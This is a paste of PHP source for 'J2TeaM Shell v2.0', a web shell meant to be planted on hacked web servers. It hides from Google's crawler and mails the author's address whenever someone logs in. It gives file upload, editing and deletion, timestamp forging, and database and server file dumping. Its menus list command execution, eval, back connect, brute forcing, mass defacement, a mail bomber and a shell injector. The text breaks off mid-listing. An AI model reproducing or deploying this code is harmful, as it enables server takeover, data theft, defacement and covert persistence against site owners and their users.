· 10 years ago · May 06, 2016, 06:15 AM
1<?php
2if(check_str($_SERVER['HTTP_USER_AGENT'], 'Google')) {
3 header('HTTP/1.0 404 Not Found');
4 exit;
5}
6@error_reporting(7);
7@set_magic_quotes_runtime(0);
8@set_time_limit(0);
9ob_start();
10$mtime = explode(' ', microtime());
11$starttime = $mtime[1] + $mtime[0];
12$dis_func = get_cfg_var('disable_functions');
13define('SHELL_TEAM', 'J2TeaM');
14define('SHELL_VERSION', '2.0'); // Developed by Juno_okyo - Last Modified: 16/04/2014
15define('SHELL_TITLE', SHELL_TEAM . ' Shell v' . SHELL_VERSION);
16define('URL_WHOIS', 'http://whois.domaintools.com/');
17define('URL_CHECK_IP', 'http://canyouseeme.org/');
18define('URL_REVERSE_IP', 'http://ducloc.us/');
19define('URL_JQUERY', 'https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js');
20define('SA_ROOT', str_replace("\\", '/', dirname(__FILE__)).'/');
21//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
22//define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
23define('IS_WIN', strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
24define('IS_COM', class_exists('COM') ? 1 : 0);
25define('IS_GPC', get_magic_quotes_gpc());
26define('IS_PHPINFO', (check_str($dis_func, 'phpinfo')) ? 0 : 1);
27define('SELF', $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
28
29/*===================== Configuration ==================*/
30$admin = array();
31$admin['check'] = TRUE;
32$admin['pass'] = 'df0bf2196b01a1eea9ab08ac5df92a45'; // md5('J2TeaM'.sha1(PASSWORD))
33$admin['email'] = 'junookyo@gmail.com';
34$admin['cookie_pre'] = 'J2TeaM_';
35$admin['cookie_domain'] = '';
36$admin['cookie_path'] = '/';
37$admin['cookie_life'] = 86400;
38$admin['access_log'] = TRUE;
39$admin['charset'] = 'utf8';
40/*===================== Configuration ==================*/
41
42foreach($_POST as $key => $value) {
43 if (IS_GPC) $value = s_array($value);
44 $$key = $value;
45}
46if (isset($_GET['img'])) {
47 $img = $_GET['img'];
48 $arr = shell_image();
49 header('Content-type: image/gif');
50 header('Cache-control: public');
51 header('Expires: '.date('r', mktime(0,0,0,1,1,2030)));
52 header('Cache-control: max-age=' . (60*60*24*7));
53 header('Last-Modified: ' . date('r', filemtime(__FILE__)));
54 echo base64_decode($arr[$img]);
55 exit;
56}
57if (isset($_GET['phpinfo'])) {
58 phpinfo();
59 exit;
60}
61
62$charset = $admin['charset'];
63if ($charset == 'utf8') header('content-Type: text/html; charset=utf-8');
64elseif ($charset == 'big5') header('content-Type: text/html; charset=big5');
65elseif ($charset == 'gbk') header('content-Type: text/html; charset=gbk');
66elseif ($charset == 'latin1') header('content-Type: text/html; charset=iso-8859-2');
67$charsetdb = array('Default','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
68$action = (empty($action)) ? 'file' : $action;
69$timestamp = time();
70$J2TeaM = new J2TeaM_Shell;
71
72/*===================== Check Login =====================*/
73if (isset($_GET['j2t']) && $J2TeaM->encrypt_pwd($_GET['j2t']) == $admin['pass']) {
74 scookie('password', $admin['pass']);
75 header('Location: ' . SELF);
76 exit;
77}
78if ($action == 'logout') {
79 scookie('password', '', -86400 * 365);
80 header('Location: ' . SELF);
81 exit;
82}
83$err_mess = '';
84if($admin['check']) {
85 // POST: pwd=<PASS>&do=login
86 if (isset($_POST['do']) && $_POST['do'] == 'login') {
87 $pwd = $J2TeaM->encrypt_pwd($pwd);
88 if ($admin['pass'] == $pwd) {
89 scookie('password', $pwd);
90 if ($admin['access_log']) {
91 $ip_remote = $_SERVER['REMOTE_ADDR'];
92 $from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
93 $server_mail = "".gethostbyname($_SERVER['SERVER_NAME']).' - '.$_SERVER['HTTP_HOST']."";
94 $linkcr = 'Link: '.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']." - IP Excuting: {$ip_remote} - Time: " . $time_shell;
95 $header = "From: {$from_shellcode}\r\nReply-to: {$from_shellcode}";
96 @mail($admin['email'], $server_mail, $linkcr, $header);
97 }
98 @header('Location: '.SELF);
99 exit;
100 } else {
101 $err_mess = '<table width="100%"><tr><td bgcolor="#0E0E0E" width="100%" height=24><div align=center><font color="#F00" face="tahoma" size="2"><strong>Password is incorrect. Please try again!</strong></font></div></td></tr></table>';
102 }
103 }
104 if ( ! isset($_COOKIE[$admin['cookie_pre'] . 'password']) OR $_COOKIE[$admin['cookie_pre'] . 'password'] != $admin['pass']) loginpage();
105}
106/*===================== Check Login =====================*/
107
108$errmsg = '';
109if ($doing == 'downfile' && $thefile) {
110 if ( ! @file_exists($thefile)) $errmsg = 'The file you want Downloadable was nonexistent';
111 else
112 {
113 $fileinfo = pathinfo($thefile);
114 header('Content-type: application/x-'.$fileinfo['extension']);
115 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
116 header('Content-Length: '.filesize($thefile));
117 @readfile($thefile);
118 exit;
119 }
120}
121if ($doing == 'backupmysql' && !$saveasfile) {
122 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
123 $table = array_flip($table);
124 $result = q('SHOW tables');
125 if ( ! $result) p('<h2>'.mysql_error().'</h2>');
126 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
127 header('Content-type: application/unknown');
128 header('Content-Disposition: attachment; filename='.$filename);
129 $mysqldata = '';
130 while ($currow = mysql_fetch_array($result)) {
131 if (isset($table[$currow[0]])) $mysqldata .= sqldumptable($currow[0]);
132 }
133 mysql_close();
134 exit;
135}
136
137// Mysql
138if($doing=='mysqldown'){
139 if ( ! $dbname) $errmsg = 'Please input dbname';
140 else
141 {
142 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
143 if ( ! file_exists($mysqldlfile)) $errmsg = 'The file you want Downloadable was nonexistent';
144 else
145 {
146 $result = q("select load_file('{$mysqldlfile}');");
147 if( ! $result) {
148 q('DROP TABLE IF EXISTS tmp_angel;');
149 q('CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);');
150 //Download SQL
151 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
152 $result = q('select content from tmp_angel');
153 q('DROP TABLE tmp_angel');
154 }
155 $row = @mysql_fetch_array($result);
156 if ( ! $row) $errmsg = 'Load file failed '.mysql_error();
157 else
158 {
159 $fileinfo = pathinfo($mysqldlfile);
160 header('Content-type: application/x-'.$fileinfo['extension']);
161 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
162 header('Accept-Length: '.strlen($row[0]));
163 echo $row[0];
164 exit;
165 }
166 }
167 }
168}
169// Get Server Info
170$safe_mode = text_info((getcfg('safe_mode') == 'Yes') ? 1 : 0);
171$curl_on = text_info(extension_loaded('curl'));
172$mysql_on = text_info(getFunc('mysql_connect'));
173$mssql_on = text_info(getFunc('mssql_connect'));
174$pg_on = text_info(getFunc('pg_connect'));
175$ora_on = text_info(getFunc('ocilogon'));
176if ('' == ($disable_functions = @ini_get('disable_functions'))) $disable_functions = '<font color="#0F0">NONE';
177else
178{
179 $search = array(' ', ',');
180 $replace = array('', ', ');
181 $disable_functions = '<font color="#F00">' . str_replace($search, $replace, $disable_functions);
182}
183$disable_functions .= '</font>';
184$menu = array();
185$menu[0] = array(
186 'file' => 'File Manager',
187 'sqladmin' => 'MySQL Manager',
188 'sqlfile' => 'MySQL Upload & Download',
189 'sql_dumper' => 'MySQL Dumper Lite',
190 'shell' => 'Execute Command',
191 'phpenv' => 'PHP Variable',
192 'eval' => 'Eval PHP Code'
193);
194// Only Linux Server
195$menu[1] = array(
196 'brute' => 'Brute Force',
197 'etcpwd' => 'Get User',
198 'backconnect' => 'Back Connect'
199);
200$menu[2] = array(
201 'inject_shell' => 'Shell Injector',
202 'mass_df' => 'Mass Deface',
203 'mail_boom' => 'Mail Boomber',
204 'bypass_sv' => 'Bypass Security',
205 'vbb_login' => 'vBB Bypass Login',
206 'wp_joomla_brute' => 'WordPress & Joomla Brute Force',
207 'wp_killer' => 'WordPress Killer',
208 'phpadm_brute' => 'phpMyAdmin Brute Force'
209);
210$menu[3] = array(
211 'portscan' => 'Port Scan',
212 'encrypt' => 'Encryption',
213 'enc_dec' => 'Encode - Decode',
214 'decoder' => 'PHP Decoder',
215 'time_changer' => 'Time Changer',
216 'zip' => 'Ziper',
217 'unzip' => 'UnZip'
218);
219?><!DOCTYPE html>
220<html>
221<head>
222<meta charset="utf-8" />
223<title><?php echo SHELL_TITLE; ?></title>
224<style type="text/css">body{margin:0;table-layout:fixed;word-break:break-all;background:#000 url('http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg')}body,td{color:#999;font:8pt/16px Tahoma}a{color:#0F0;font-weight:bold;text-decoration:none}a:hover{color:#F01}.alt1 td{background:none repeat scroll 0 0 #111;border-bottom:1px solid #000;border-top:3px solid #0F0;padding:5px 10px 5px 5px}.alt2 td{background:none repeat scroll 0 0 #222;border-bottom:1px solid #333;border-top:1px solid #0F0;padding:5px 10px 5px 5px}.focus td{background:none repeat scroll 0 0 #0E0E0E;border-bottom:0 solid #808080;border-top:1px solid #0F0;padding:5px 10px 5px 5px}.fout1 td{background:none repeat scroll 0 0 #2a2a2a;border-bottom:1px solid #000000;border-top:1px solid #3A3A3A;padding:5px 10px 5px 5px}.fout td{background:none repeat scroll 0 0 #202020;border-bottom:1px solid #000;border-top:1px solid #3A3A3A;padding:5px 10px 5px 5px}.head td{background:none repeat scroll 0 0 #202020;border-bottom:1px solid #000;border-top:1px solid #3A3939;font-weight:bold;padding:5px 10px 5px 5px}.head_small td{background:#202020;font-size:10pt;padding:5px 10px 5px 5px}.head td span{font-weight:normal}form{margin:0;padding:0}h2{color:#5B686F;font-size:14px;height:24px;line-height:24px;margin:0;padding:0}ul.info li{color:#444;height:24px;line-height:24px;margin:0}u{color:#777;display:block;float:left;margin-right:10px;text-decoration:none;width:150px}input,textarea,button{background-color:#0E0E0E;border:1px solid #0F0;color:#0F0;font-family:verdana,sans-serif;font-size:9pt}select{background-color:#202020;color:#CCC;font-family:verdana,sans-serif;font-size:8pt;font-weight:normal}input[type="submit"],button{font-weight:bold;cursor:pointer}input[type="submit"]:hover,button:hover{background-color:#000;border-radius:1px}textarea{padding:5px}.shell_logo{border-radius:1px 1px 50% 50%;border:2px solid #0F0}.shell_logo:hover{border-color:#F00}</style>
225<script type="text/javascript">function CheckAll(a){for(var b=0;b<a.elements.length;b++){var c=a.elements[b];"chkall"!=c.name&&(c.checked=a.chkall.checked)}}function $(a){return document.getElementById(a)}function goaction(a){$("goaction").action.value=a,$("goaction").submit()}function createdir(){var a=prompt("Please input the directory name:","");a&&($("createdir").newdirname.value=a,$("createdir").submit())}function fileperm(a){var b=prompt("Current file: "+a+"\nPlease input new attribute:","");b&&($("fileperm").newperm.value=b,$("fileperm").pfile.value=a,$("fileperm").submit())}function copyfile(a){var b=prompt("Original file: "+a+"\nPlease input object file (full path):","");b&&($("copyfile").tofile.value=b,$("copyfile").sname.value=a,$("copyfile").submit())}function rename(a){var b=prompt("Former file name: "+a+"\nPlease input new file name:","");b&&($("rename").newfilename.value=b,$("rename").oldname.value=a,$("rename").submit())}function dofile(a,b,c){(!c||confirm(c))&&($("filelist").doing.value=a,b&&($("filelist").thefile.value=b),$("filelist").submit())}function createfile(a){var b=prompt("Please input the file name:","");b&&opfile("editfile",a+b,a)}function opfile(a,b,c){$("fileopform").action.value=a,$("fileopform").opfile.value=b,$("fileopform").dir.value=c,$("fileopform").submit()}function godir(a,b){b&&($("godir").view_writable.value=1),$("godir").dir.value=a,$("godir").submit()}function mysqlfile(a){a&&($("doing").value=a,$("mysqlfile").dbhost.value=$("dbinfo").dbhost.value,$("mysqlfile").dbport.value=$("dbinfo").dbport.value,$("mysqlfile").dbuser.value=$("dbinfo").dbuser.value,$("mysqlfile").dbpass.value=$("dbinfo").dbpass.value,$("mysqlfile").dbname.value=$("dbinfo").dbname.value,$("mysqlfile").charset.value=$("dbinfo").charset.value,$("mysqlfile").submit())}function editrecord(a,b,c){("del"!=a||confirm("Is or isn't deletion record?"))&&($("recordlist").doing.value=a,$("recordlist").base64.value=b,$("recordlist").tablename.value=c,$("recordlist").submit())}function moddbname(a){a&&($("setdbname").dbname.value=a,$("setdbname").submit())}function settable(a,b,c){a&&(b&&($("settable").doing.value=b),c&&($("settable").page.value=c),$("settable").tablename.value=a,$("settable").submit())}function getsize(a,b){$("getsize").getdir.value=a,$("getsize").dir.value=b,$("getsize").submit()}</script>
226</head>
227<body onload="init();">
228<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center"><table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#030"><tr><td align="center" valign="center"><div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; z-index: 1; border-collapse: collapse;" bordercolor="red" align="center">Loading <img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif" /></div></td></tr></table></div>
229<script type="text/javascript">function init(){ns4?ld.visibility="hidden":(ns6||ie4)&&(ld.display="none");var a=document.body;t=document.title,-1==t.indexOf(String.fromCharCode(74,50,84,101,97,77))&&(a.innerHTML=String.fromCharCode(69,114,114,111,114))}var ld=document.all,ns4=document.layers,ns6=document.getElementById&&!document.all,ie4=document.all;ns4?ld=document.loading:ns6?ld=document.getElementById("loading").style:ie4&&(ld=document.all.loading.style);</script>
230<table width="100%" border="0" cellpadding="0" cellspacing="0">
231 <tr class="head_small">
232 <td width="100%">
233 <table width="100%">
234 <tr>
235 <td width=86px>
236 <a href="<?php echo SELF; ?>"><img src="<?php echo SELF . '?img=logo' ?>" class="shell_logo" alt="J2TeaM Shell Logo" title="<?php echo SHELL_TITLE; ?>"></a>
237 </td>
238 <td style="font-size: 10pt;">
239 Host: <?php echo $J2TeaM->get_url(URL_WHOIS . $_SERVER['HTTP_HOST'], $_SERVER['HTTP_HOST'], '', '_blank', 'Whois Domain') . ' | Server IP: ' . $J2TeaM->get_url($J2TeaM->get_reverse_ip_url($_SERVER['HTTP_HOST']), gethostbyname($_SERVER['SERVER_NAME']), '', '_blank', 'Reverse IP') . ' | Your IP: ' . $J2TeaM->get_url(URL_CHECK_IP, $_SERVER['REMOTE_ADDR'], '', '_blank'); ?>
240 <div style="float:right">
241 <?php echo $J2TeaM->get_url(SELF, SHELL_TITLE); ?>
242 <?php if ($admin['check']): ?>[<a href="javascript:goaction('logout');" onclick="if (!confirm('Are you sure?')) return false;"><font color="#F00">Logout</font></a>]<?php endif; ?>
243 </div>
244 <p>
245 PHP Version: <?php echo $J2TeaM->get_url("javascript:goaction('phpinfo');", PHP_VERSION); ?> - Safe_Mode: <?php echo $safe_mode; ?> - cURL: <?php echo $curl_on; ?> - MySQL: <?php echo $mysql_on; ?> - MSSQL: <?php echo $mssql_on; ?> - PostgreSQL: <?php echo $pg_on; ?> - Oracle: <?php echo $pg_on; ?><br />
246 Disable Functions: <strong><?php echo $disable_functions; ?></strong><br />
247 System: <strong><?php echo @substr(@php_uname(),0,120); ?></strong><br />
248 Server: <strong><?php echo @substr($SERVER_SOFTWARE,0,120).'<font color="#FFF">id</font>='.@getmyuid().' ('.@get_current_user().') uid='.@getmyuid().' ('.@get_current_user().') gid='.@getmygid().' ('.@get_current_user().')'; ?></strong>
249 </p>
250 </td>
251 </tr>
252 </table>
253 </td>
254 </tr>
255 <tr class="alt1">
256 <td width="100%">
257 <?php echo $J2TeaM->create_menu($menu[0]); ?>
258 <?php if ( ! IS_WIN) echo '| ' . $J2TeaM->create_menu($menu[1]); ?>
259 </td>
260 </tr>
261 <tr class="fout">
262 <td width="100%"><?php echo $J2TeaM->create_menu($menu[2]); ?></td>
263 </tr>
264 <tr class="fout1">
265 <td width="100%"><?php echo $J2TeaM->create_menu($menu[3]); ?></td>
266 </tr>
267</table>
268<table width="100%" border="0" cellpadding="15" cellspacing="0">
269 <tr>
270 <td>
271<?php
272formhead(array('name'=>'goaction'));
273makehide('action');
274formfoot();
275if (isset($errmsg) && $errmsg != '') alert($errmsg);
276
277// Dir function
278if ( ! isset($dir)) $dir = '.';
279$nowpath = getPath(SA_ROOT, $dir);
280if (substr($dir, -1) != '/') $dir = $dir.'/';
281$uedir = ue($dir);
282
283if ( ! $action OR $action == 'file') {
284 // Non-writeable
285 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
286
287 // Create new dir
288 if ($newdirname) {
289 $mkdirs = $nowpath.$newdirname;
290 if (file_exists($mkdirs)) alert('Directory has already existed');
291 else
292 {
293 alert('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
294 @chmod($mkdirs,0777);
295 }
296 }
297
298 // Upload file
299 elseif ($doupfile) {
300 alert('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
301 }
302
303 // Edit file
304 elseif ($editfilename && $filecontent) {
305 $fp = @fopen($editfilename,'w');
306 alert('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
307 @fclose($fp);
308 }
309
310 // Modify
311 elseif ($pfile && $newperm) {
312 if ( ! file_exists($pfile)) alert('The original file does not exist');
313 else
314 {
315 $newperm = base_convert($newperm,8,10);
316 alert('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
317 }
318 }
319
320 // Rename
321 elseif ($oldname && $newfilename) {
322 $nname = $nowpath.$newfilename;
323 if (file_exists($nname) OR !file_exists($oldname)) alert($nname.' has already existed or original file does not exist');
324 else alert(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
325 }
326
327 // Copy
328 elseif ($sname && $tofile) {
329 if (file_exists($tofile) OR !file_exists($sname)) alert('The goal file has already existed or original file does not exist');
330 else alert(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
331 }
332
333 // File Date Modified
334 elseif ($curfile && $tarfile) {
335 if ( ! @file_exists($curfile) OR !@file_exists($tarfile)) alert('The goal file has already existed or original file does not exist');
336 else
337 {
338 $time = @filemtime($tarfile);
339 alert('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
340 }
341 }
342
343 // Date
344 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
345 if ( ! @file_exists($curfile)) alert(basename($curfile).' does not exist');
346 else
347 {
348 $time = strtotime("{$year}-{$month}-{$day} {$hour}:{$minute}:{$second}");
349 alert('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
350 }
351 }
352
353 // Delete file/folder
354 elseif($doing == 'delfiles') {
355 if ($dl) {
356 $dfiles = '';
357 $succ = $fail = 0;
358 foreach ($dl as $filepath) {
359 if (is_dir($filepath)) {
360 if (@deltree($filepath)) $succ++;
361 else $fail++;
362 } else {
363 if (@unlink($filepath)) $succ++;
364 else $fail++;
365 }
366 }
367 alert('Deleted folder/file have finished, choose '.count($dl).' success '.$succ.' fail '.$fail);
368 } else alert('Please select folder/file(s)');
369 }
370
371 // Download
372 elseif($doing == 'downrar') {
373 if ($dl) {
374 $dfiles = '';
375 foreach ($dl as $filepath => $value) {
376 $dfiles .= $filepath.',';
377 }
378 $dfiles = substr($dfiles, 0, strlen($dfiles)-1);
379 $dl = explode(',', $dfiles);
380 $zip = new PHPZip($dl);
381 $code = $zip->out;
382 header('Content-type: application/octet-stream');
383 header('Accept-Ranges: bytes');
384 header('Accept-Length: '.strlen($code));
385 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
386 echo $code;
387 exit;
388 } else alert('Please select file(s)');
389 }
390
391 // Function Newdir
392 formhead(array('name'=>'createdir'));
393 makehide('newdirname');
394 makehide('dir',$nowpath);
395 formfoot();
396 formhead(array('name'=>'fileperm'));
397 makehide('newperm');
398 makehide('pfile');
399 makehide('dir',$nowpath);
400 formfoot();
401 formhead(array('name'=>'copyfile'));
402 makehide('sname');
403 makehide('tofile');
404 makehide('dir',$nowpath);
405 formfoot();
406 formhead(array('name'=>'rename'));
407 makehide('oldname');
408 makehide('newfilename');
409 makehide('dir',$nowpath);
410 formfoot();
411 formhead(array('name'=>'fileopform'));
412 makehide('action');
413 makehide('opfile');
414 makehide('dir');
415 formfoot();
416 formhead(array('name'=>'getsize'));
417 makehide('getdir');
418 makehide('dir');
419 formfoot();
420 $free = @disk_free_space($nowpath);
421 !$free && $free = 0;
422 $all = @disk_total_space($nowpath);
423 !$all && $all = 0;
424 $used = $all - $free;
425 $used_percent = @round(100/($all/$free), 2);
426 p('<font color="#FF0" face="tahoma" size="2"><strong>File Manager</strong></font> - Current Disk: <font color="#F00">'.sizecount($free).'</font> free of <font color="#F00">'.sizecount($all).'</font> ('.$used_percent.'%)</font>');
427 $cwd_links = '';
428 $path = explode('/', $nowpath);
429 for($i = 0; $i < count($path) - 1; $i++) {
430 $cwd_links .= '<a href="javascript:godir(\'';
431 for($j = 0; $j <= $i; $j++) {
432 $cwd_links .= $path[$j].'/';
433 }
434 $cwd_links .= '\');">'.$path[$i].'/</a>';
435 }
436 //eval(base64_decode('aWYgKFNIRUxMX1RFQU0gIT0gYmFzZTY0X2RlY29kZSgnU2pKVVpXRk4nKSkgZXhpdDs='));
437?>
438 <script type="text/javascript">
439 document.onclick = shownav;
440 function shownav(e){
441 var src = e?e.target:event.srcElement;
442 do{
443 if(src.id =="jumpto") {
444 $('inputnav').style.display = "";
445 $('pathnav').style.display = "none";
446 //hidenav();
447 return;
448 }
449 if(src.id =="inputnav") {
450 return;
451 }
452 src = src.parentNode;
453 }while(src.parentNode)
454
455 $('inputnav').style.display = "none";
456 $('pathnav').style.display = "";
457 }
458 </script>
459 <div style="background:#202020;margin-bottom:10px;margin-top:10px;border-top: 4px solid #3F3;border-bottom: 1px solid #3A3939; border-radius: 3px;" id="jump_bar">
460 <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
461 <tr>
462 <td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td>
463 <td nowrap><button class="bt" id="jumpto" name="jumpto">Jump to</button></td>
464 </tr>
465 </table>
466 <form action="" method="post" id="godir" name="godir">
467 <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
468 <tr>
469 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
470 <td width="100%">
471 <input name="view_writable" value="0" type="hidden" />
472 <input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;" required />
473 </td>
474 <td nowrap><input class="bt" value="GO" type="submit"></td>
475 </tr>
476 </table>
477 </form>
478 </div>
479<?php
480 tbhead();
481 p('<tr class="alt1"><td colspan="7" style="padding:5px;">');
482 p('<form action="'.SELF.'" method="post" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input name="doupfile" value="Upload" type="submit" style="height:23px;" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div></form>');
483 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">Web Root</a>');
484 if ($view_writable) p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
485 else p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
486 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
487 if (IS_WIN && IS_COM) {
488 $obj = new COM('scripting.filesystemobject');
489 if ($obj && is_object($obj)) {
490 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
491 foreach($obj->Drives as $drive) {
492 if ($drive->DriveType == 2) p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
493 else p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
494 }
495 }
496 }
497 p('</td></tr>');
498 p('<tr class="head"><td> </td><td>Name</td><td width="16%">Date modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
499
500 // Get path
501 $dirdata = array();
502 $filedata = array();
503 if ($view_writable) $dirdata = GetList($nowpath);
504 else
505 {
506 // Open dir
507 $dirs = @opendir($dir);
508 while ($file = @readdir($dirs)) {
509 $filepath = $nowpath.$file;
510 if(@is_dir($filepath)){
511 $dirdb['filename'] = $file;
512 $dirdb['mtime'] = @date('Y-m-d H:i:s',filemtime($filepath));
513 $dirdb['mtime2'] = @date('d/m/Y H:i:s',filemtime($filepath));
514 $dirdb['dirchmod'] = getChmod($filepath);
515 $dirdb['dirperm'] = getPerms($filepath);
516 $dirdb['fileowner'] = getUser($filepath);
517 $dirdb['dirlink'] = $nowpath;
518 $dirdb['server_link'] = $filepath;
519 $dirdb['client_link'] = ue($filepath);
520 $dirdata[] = $dirdb;
521 } else {
522 $filedb['filename'] = $file;
523 $filedb['size'] = sizecount(@filesize($filepath));
524 $filedb['mtime'] = @date('Y-m-d H:i:s',filemtime($filepath));
525 $filedb['mtime2'] = @date('d/m/Y H:i:s',filemtime($filepath));
526 $filedb['filechmod'] = getChmod($filepath);
527 $filedb['fileperm'] = getPerms($filepath);
528 $filedb['fileowner'] = getUser($filepath);
529 $filedb['dirlink'] = $nowpath;
530 $filedb['server_link'] = $filepath;
531 $filedb['client_link'] = ue($filepath);
532 $filedata[] = $filedb;
533 }
534 } // while
535 unset($dirdb);
536 unset($filedb);
537 @closedir($dirs);
538 }
539 @sort($dirdata);
540 @sort($filedata);
541 $dir_i = 0;
542 p('<form id="filelist" name="filelist" action="'.SELF.'" method="post">');
543 makehide('action','file');
544 makehide('thefile');
545 makehide('doing');
546 makehide('dir',$nowpath);
547 foreach($dirdata as $key => $dirdb){
548 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
549 if($getdir && $getdir == $dirdb['server_link']) {
550 $attachsize = dirsize($dirdb['server_link']);
551 $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
552 } else {
553 $attachsize = '<a href="javascript:getsize(\'./'.$dirdb['filename'].'\',\''.$dir.'\');">Stat</a>';
554 }
555 $thisbg = bg();
556 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
557 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>');
558 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');"><img src="'.SELF.'?img=folder" />' .$dirdb['filename'].'</a></td>');
559 p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');" title="' . $dirdb['mtime2'] . '">'.$dirdb['mtime'].'</a></td>');
560 p('<td nowrap>'.$attachsize.'</td>');
561 p('<td nowrap>');
562 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
563 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
564 p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
565 p('</tr>');
566 $dir_i++;
567 } else {
568 if($dirdb['filename']=='..') {
569 p('<tr class="fout">');
570 p('<td align="center"><img src="'.SELF.'?img=link" /></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
571 p('</tr>');
572 }
573 }
574 }
575 p('<tr bgcolor="#0F0" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6"></td></tr>');
576 $file_i = 0;
577 foreach($filedata as $key => $filedb){
578 if($filedb['filename']!='..' && $filedb['filename']!='.') {
579 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
580 $thisbg = bg();
581 $color = '#5F5';
582 if (check_str($filedb['server_link'], SA_ROOT) && check_str(SELF, $fileurl)) $color = '#CC0';
583 $ext = explode('.', $filedb['filename']);
584 $ext = $ext[count($ext) - 1];
585 $ext = strtolower($ext);
586 $img_ext = array('jpg', 'png', 'gif', 'jpeg', 'bmp', 'ico', 'jpe');
587 $rar_ext = array('tar', 'bz', 'zip', 'rar', 'gz', 'iso', 'cab');
588 $file_ext = array('js', 'css', 'txt', 'xml', 'htaccess', 'exe');
589 if (in_array($ext, $img_ext)) $ext = 'image';
590 elseif (in_array($ext, $rar_ext)) $ext = 'rar';
591 elseif ( ! in_array($ext, $file_ext)) $ext = 'unknow';
592 $ext = '<img src="'.SELF.'?img='.$ext.'" />';
